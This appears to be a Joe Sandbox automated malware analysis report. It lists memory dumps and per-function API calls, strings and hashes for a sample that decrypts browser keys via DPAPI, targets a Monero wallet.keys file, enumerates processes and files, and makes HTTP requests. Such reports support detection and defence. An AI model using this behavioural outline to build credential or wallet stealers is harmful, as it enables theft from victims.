Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 42ddea8de8395f68f75480f99f2c5e9fcb3c8a47688dffaa8c830a0185dbfe1b
Instruction ID: 25a59d4613d301169a10105923ac51270169a210695b7c34f2f856eab942b233
Opcode Fuzzy Hash: 42ddea8de8395f68f75480f99f2c5e9fcb3c8a47688dffaa8c830a0185dbfe1b
Instruction Fuzzy Hash: 4C51F075E10209EAEB05FBB4DC95EED7378AF64200F408528E556A71D4EF346B0DCBA1

Function 00FF9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 00FF99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FF99EC
Part of subcall function 00FF99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00FF9A11
Part of subcall function 00FF99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00FF9A31
Part of subcall function 00FF99C0: ReadFile.KERNEL32(000000FF,?,00000000,00FF148F,00000000), ref: 00FF9A5A
Part of subcall function 00FF99C0: LocalFree.KERNEL32(00FF148F), ref: 00FF9A90
Part of subcall function 00FF99C0: CloseHandle.KERNEL32(000000FF), ref: 00FF9A9A

Part of subcall function 01008E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 01008E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00FF9D39

Part of subcall function 00FF9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00FF4EEE,00000000,00000000), ref: 00FF9AEF
Part of subcall function 00FF9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00FF4EEE,00000000,?), ref: 00FF9B01
Part of subcall function 00FF9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00FF4EEE,00000000,00000000), ref: 00FF9B2A
Part of subcall function 00FF9AC0: LocalFree.KERNEL32(?,?,?,?,00FF4EEE,00000000,?), ref: 00FF9B3F

Part of subcall function 00FF9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00FF9B84
Part of subcall function 00FF9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00FF9BA3
Part of subcall function 00FF9B60: LocalFree.KERNEL32(?), ref: 00FF9BD3

Strings

, xrefs: 00FF9DC1
DPAPI, xrefs: 00FF9D89
"encrypted_key":", xrefs: 00FF9D30

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 8ec85efb89b52ec3981c7b686c447c32bf159c01c132b8ad338c0b89734c2bd6
Instruction ID: ba3e9ae0baeb8441b2c5b7306872c62018d1e959e7035c19071cee437b6156b6
Opcode Fuzzy Hash: 8ec85efb89b52ec3981c7b686c447c32bf159c01c132b8ad338c0b89734c2bd6
Instruction Fuzzy Hash: C1315CB6D0020DABCB14EBE4DC85FFEB7B8BF48304F244519EA45A7251E7749A14CBA1

Function 01008680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,010105B7), ref: 010086CA
Process32First.KERNEL32(?,00000128), ref: 010086DE
Process32Next.KERNEL32(?,00000128), ref: 010086F3

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,0087A7F0,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

CloseHandle.KERNEL32(?), ref: 01008761

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: d4371923d3d9b997049f2b3c4f5747b2c7c90b185a2721f3edfcbaa999cb4d60
Instruction ID: c707403f209ea32126a03aa1c6325e5dc32c2796b0eceb1d3119e80b52cfb802
Opcode Fuzzy Hash: d4371923d3d9b997049f2b3c4f5747b2c7c90b185a2721f3edfcbaa999cb4d60
Instruction Fuzzy Hash: B1316B71A01219EBEB26DF95DC84FEEB778FB54700F0081A9E14AA7190DB306B45CFA0

Function 01006AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,0087A6D0,?,0101110C,?,00000000,?,01011110,?,00000000,01010AEF), ref: 01006ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 01006AE8
CloseHandle.KERNEL32(00000000), ref: 01006AF9
Sleep.KERNEL32(00001770), ref: 01006B04
CloseHandle.KERNEL32(?,00000000,?,0087A6D0,?,0101110C,?,00000000,?,01011110,?,00000000,01010AEF), ref: 01006B1A
ExitProcess.KERNEL32 ref: 01006B22

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 246c4d0ad31a8cacb4b4b1d4c81679ba163d82fb8d80ce3ac83cd9bb8441e16c
Instruction ID: d539156dfa384a1038614198c41a765d86d612026f7755623bc4ced8962b70c2
Opcode Fuzzy Hash: 246c4d0ad31a8cacb4b4b1d4c81679ba163d82fb8d80ce3ac83cd9bb8441e16c
Instruction Fuzzy Hash: 4DF05E70A4030AEFF712BBA0EC19BBE7B75EB14701F004524A583A21C0CBB15580CB55

Function 00FF47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00FF4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00FF4849

Strings

<, xrefs: 00FF47C9

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 028715e34d752cff601a07b43d3ae748c012917161dd2a1fb0b86cb024878ce3
Instruction ID: c9317f038ed076d09bc8092b4d8be1a60bee61610864de54463a99a54eff1033
Opcode Fuzzy Hash: 028715e34d752cff601a07b43d3ae748c012917161dd2a1fb0b86cb024878ce3
Instruction Fuzzy Hash: BC213EB1D00209ABDF14DFA5EC49ADE7B74FB45320F108625E955A72D0EB706A09CB91

Function 010051F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

Part of subcall function 00FF6280: InternetOpenA.WININET(01010DFE,00000001,00000000,00000000,00000000), ref: 00FF62E1
Part of subcall function 00FF6280: StrCmpCA.SHLWAPI(?,0087FE88), ref: 00FF6303
Part of subcall function 00FF6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FF6335
Part of subcall function 00FF6280: HttpOpenRequestA.WININET(00000000,GET,?,0087FA68,00000000,00000000,00400100,00000000), ref: 00FF6385
Part of subcall function 00FF6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00FF63BF
Part of subcall function 00FF6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00FF63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 01005228

Strings

ERROR, xrefs: 01005273
ERROR, xrefs: 0100521A

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: f71305ba7dca5f5aaa6fff82815fb7495a4178f5293d398f48922300adb5e53f
Instruction ID: be956642f3eefec9422a6eb93280587fb6a1b65b0fe68cd824bbe761a437c218
Opcode Fuzzy Hash: f71305ba7dca5f5aaa6fff82815fb7495a4178f5293d398f48922300adb5e53f
Instruction Fuzzy Hash: F0112E30A00209EBEB15FF74DD51EED7338AF60200F408158E94A4B5D1EF74AB09CB90

Function 01004F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 01008DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 01008E0B

lstrcat.KERNEL32(?,00000000), ref: 01004F7A
lstrcat.KERNEL32(?,01011070), ref: 01004F97
lstrcat.KERNEL32(?,0087A750), ref: 01004FAB
lstrcat.KERNEL32(?,01011074), ref: 01004FBD

Part of subcall function 01004910: wsprintfA.USER32 ref: 0100492C
Part of subcall function 01004910: FindFirstFileA.KERNEL32(?,?), ref: 01004943

Part of subcall function 01004910: StrCmpCA.SHLWAPI(?,01010FDC), ref: 01004971
Part of subcall function 01004910: StrCmpCA.SHLWAPI(?,01010FE0), ref: 01004987
Part of subcall function 01004910: FindNextFileA.KERNEL32(000000FF,?), ref: 01004B7D
Part of subcall function 01004910: FindClose.KERNEL32(000000FF), ref: 01004B92

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 1d50b1acb7ab93c028945264d60c9177f5fc174aac5f5695ab90a183a6e6c9ee
Instruction ID: 6ff4aded9385bb160181a78cc0a9a2dd337f909cac1f65b8423bec933edc4124
Opcode Fuzzy Hash: 1d50b1acb7ab93c028945264d60c9177f5fc174aac5f5695ab90a183a6e6c9ee
Instruction Fuzzy Hash: 70217776900208A7D764FB70EC49EE9333CAB54700F404559B6D997188EE7596C88B91

Function 01000740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,0087A7D0), ref: 0100079A
StrCmpCA.SHLWAPI(00000000,0087A7E0), ref: 01000866
StrCmpCA.SHLWAPI(00000000,0087A900), ref: 0100099D

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
